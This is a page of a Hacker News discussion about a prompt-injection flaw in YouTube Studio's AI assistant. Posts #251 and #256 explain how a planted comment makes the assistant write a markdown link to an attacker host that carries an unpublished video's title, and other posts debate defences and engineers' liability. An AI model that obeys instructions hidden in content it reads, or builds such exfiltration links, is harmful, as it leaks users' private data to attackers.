Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Leaking YouTube creators' private videos

javoriuski.com

Post reply on HN
Print view View original

251–260 of 436 posts

Re: Leaking YouTube creators' private videos

#251

Post by vector_spaces »

j-bos wrote: post #239

Conceptually I understand, but the specific example doesn't click for me > https://attacker-website.com/view/channel?video=BANG ) replacing BANG with the title of a video on this channel. >When the creator clicked the link, I received a request with the video title in the URL parameter. The creator didn't type anything or make any unusual decision. They just clicked what looked like a legitimate link given by YouTube…

You don't conceptually understand the attack. The attacker does not need to know the video title, this is an attack to exfiltrate that very title.

That bit you quoted from the article in your first line is included verbatim in the malicious prompt.

When the creator interacts with Ask Studio, Ask Studio cannot / does not differentiate the user prompt from the malicious prompt that is baked into the comment. It treats it as a part of the creator's request, and since of course the creator has access to all the videos on their channel, published or not, it complies with the request, since as far as the LLM is concerned, the user is the creator and they aren't trying to access anything they shouldn't have access to. So Ask Studio constructs a markdown link to an external URL with a querystring parameter, replacing video=BANG with video="Announcing Our New Parternership with Acme Corporation".

If the creator clicks on that link, the attacker who presumably controls the server for external URL will see the query param value in their logs. The link shows up for the creator as an actual link with whatever link text the attacker chose. So an unsuspecting creator might think e.g. that the message comes from YouTube and not think to verify the link is legitimate.

Re: Leaking YouTube creators' private videos

#252

Post by mschuster91 »

jerojero wrote: post #185
mschuster91 wrote: post #168

Earlier quoted context omitted.

> Why the hell should I be responsible and how is this sustainable? Well, it works for professional engineers, you know, the people designing bridges, tunnels, heavy machinery, aircraft, spacecraft or medical instruments. When something happens and they can't show that their work adhered to the generally accepted best standards at the time... they're held liable. And sometimes, that liability includes jail time, part…

I think the problem I see with your argument is that people simply do not value reliable and secure consumer software as much as they'd value reliable and secure airplanes. Of course, software that is in charge of things where people value security a lot, such as the software in airplanes, is much more scrutinized and adheres to better standards. This is the case precisely because when it goes bad people die in ways…

> You can't enforce those same policies on most consumer software because people consume it the same way they do food.

The government can. GDPR was an attempt in that direction, it wasn't enough of a hint to software developers, that's how we got the Cyber Resilience Act that's beginning to take first effects in a few months.

Re: Leaking YouTube creators' private videos

#253

Post by orbital-decay »

jdiff wrote: post #54
wxw wrote: post #38

> Attacker leaves the comment on a creator's video. > Creator opens YouTube studio's comment tab. > Creator clicks a suggested AI prompt (Designed by YouTube) > Injection fires, attacker-controlled content appears in the response. It's insane that YouTube doesn't see prompt injection as a bug.

It opens a can of worms for them if they do consider prompt injection a bug because there's ultimately no defense. If they accept this, there are instantly hundreds of other moles they now have to whack or pay out for. Or dismiss them all as social engineering and keep it moving.

>because there's ultimately no defense

Kind of? It's not fixable as a spherical class of attacks in vacuum, but you can do a lot to mitigate particular cases, and in most cases you can patch unnecessary side channels for the injection to reach the context in an unintended way.

Re: Leaking YouTube creators' private videos

#254

Post by ruined »

vintagedave wrote: post #200
brailsafe wrote: post #164

Earlier quoted context omitted.

> This is a prime example of why programmers are not seriously considered engineers. Seems to me like your comment is simply an example of prejudice. You're just describing another standardized incentive structure that you're operating in, and using that as a basis to extrapolate that programmers of all kinds—whether they work on a video platform or on machinery that could cause catastrophe if it fails—are implicitly…

An example of prejudice? What an extraordinary statement. It’s an example of ethical, competent, responsible professionalism. The ‘incentive structure’ is non-financial and based on the ethics of valuing other humans. This is a professional duty. To even call it a ‘incentive structure’ feels like it’s missing the point.

consequences like delicensing, and civil or criminal liability, are all significantly financial.

the ethical objectives are supported by disincentives, offsetting the financial incentives to misbehave.

and none of that exists in software engineering (yet).

Re: Leaking YouTube creators' private videos

#255

Post by burnte »

NamTaf wrote: post #149
Mg6yDfjp5U wrote: post #10

I recently left Google having worked on a number of projects with various YouTube teams. I think I can explain why it's being handled this way by YouTube. This is a fairly nuanced/involved issue, so the task of classifying the bug likely made it's way to one of the engineers responsible for the implementation of this feature. That engineer has already launched this project, and filed it away under their GRAD (perform…

[flagged]

If a train crashes, people die. If Youtube crashes, no one dies.

Re: Leaking YouTube creators' private videos

#256

Post by vector_spaces »

gavinray wrote: post #217

The described "attack" would not work, due to not triggering an HTTP request. When an LLM generates text, it does not send requests to URL-looking strings it generates to validate they are real/live. You'd never get your "ping" request.

The LLM responds with rendered markdown, which conceals the actual link. It constructs it in such a way where the link looks like a message or warning from the YouTube platform, or perhaps something like

> Message response too large, click [here](malicious-host.net/blabla?video="Secret Unpublished Video")" to download

This is an environment where I suspect a majority of creators probably expect that untrusted links like this are possible, and assume anything the platform spits out is legitimate. So you are right that it relies on the creator clicking the link, but that is a very real possibility here.

Re: Leaking YouTube creators' private videos

#257

Post by thin_carapace »

stavros wrote: post #216
NamTaf wrote: post #149

Earlier quoted context omitted.

[flagged]

> This is a prime example of why programmers are not seriously considered engineers. I'm a programmer working in healthcare. If I ignore a safety issue anyone discovered, people die and we go to prison. Am I an engineer now?

"engineering - the application of scientific and mathematical principles to practical ends such as the design, manufacture, and operation of efficient and economical structures, machines, processes, and systems"

agentically vibe coding a website with some minor manual tweaks? adding bullshit to a product for the pure purpose of profit maximization at the detriment of the end user? moving fast, testing user engagement instead of user safety, and being okay with breaking things? .... not engineering !

following an agreed set of processes to formally maximise product safety & consistency eg. adhering to medical device standards for software development? .... engineering!

Re: Leaking YouTube creators' private videos

#258

Post by keepamovin »

orbital-decay wrote: post #253
jdiff wrote: post #54

Earlier quoted context omitted.

It opens a can of worms for them if they do consider prompt injection a bug because there's ultimately no defense. If they accept this, there are instantly hundreds of other moles they now have to whack or pay out for. Or dismiss them all as social engineering and keep it moving.

>because there's ultimately no defense Kind of? It's not fixable as a spherical class of attacks in vacuum, but you can do a lot to mitigate particular cases, and in most cases you can patch unnecessary side channels for the injection to reach the context in an unintended way.

Isn’t it trivially fixable by having a monitor LLM? The monitor just reviews each turn pair and asks, “Is this conversation being manipulated via prompt injection?”

Re: Leaking YouTube creators' private videos

#259

Post by SoftTalker »

mschuster91 wrote: post #168
mk89 wrote: post #140

Earlier quoted context omitted.

OP used the word "lifetime" which makes a key difference. I don't want to be responsible for a bug in my 8 years old code, which I probably even forgot how it worked etc. I probably don't even work anymore in the same team or on the same service. Why the hell should I be responsible and how is this sustainable? I am not even sure if your criticism makes any sense at all anymore nowadays. AI is writing 80% of the code…

> Why the hell should I be responsible and how is this sustainable? Well, it works for professional engineers, you know, the people designing bridges, tunnels, heavy machinery, aircraft, spacecraft or medical instruments. When something happens and they can't show that their work adhered to the generally accepted best standards at the time... they're held liable. And sometimes, that liability includes jail time, part…

It's interesting you bring up airliners. Whose engineers developed MCAS? Were any of them held liable? Are any in prison?

Re: Leaking YouTube creators' private videos

#260

Post by john01dav »

hiyfsch wrote: post #201
sixtyj wrote: post #187

Earlier quoted context omitted.

The prejudice seems to be everywhere. Unfortunately, to my knowledge. Eg. architects vs construction engineers vs land surveyors vs construction designers vs urban planners… anyone of them thinks that their profession is more valuable than the others…

[dead]

> Honestly it’s hard to refute the fact that we need roads and houses more than we need cat videos.

Software does more than cat videos.

Examples that may be relevant:

- CAD and simulation tools that physical world engineers use

- telecommunications (not just programmers, but programmers are vital for the current ultra-cheap generation)

- CT and MRI data processing

- alphafold

- scheduling systems for universities and other schools (makes education more scalable)

- infrastructure/systems programming (OS, web browser, etc.)

Furthermore, no one would claim that civil engineering is useless just because a certain class of billionaires liked to hire them to design silly structures. So, the prevalence of the less useful things speaks more to priorities as a society than anything about software engineering itself

Post reply on HN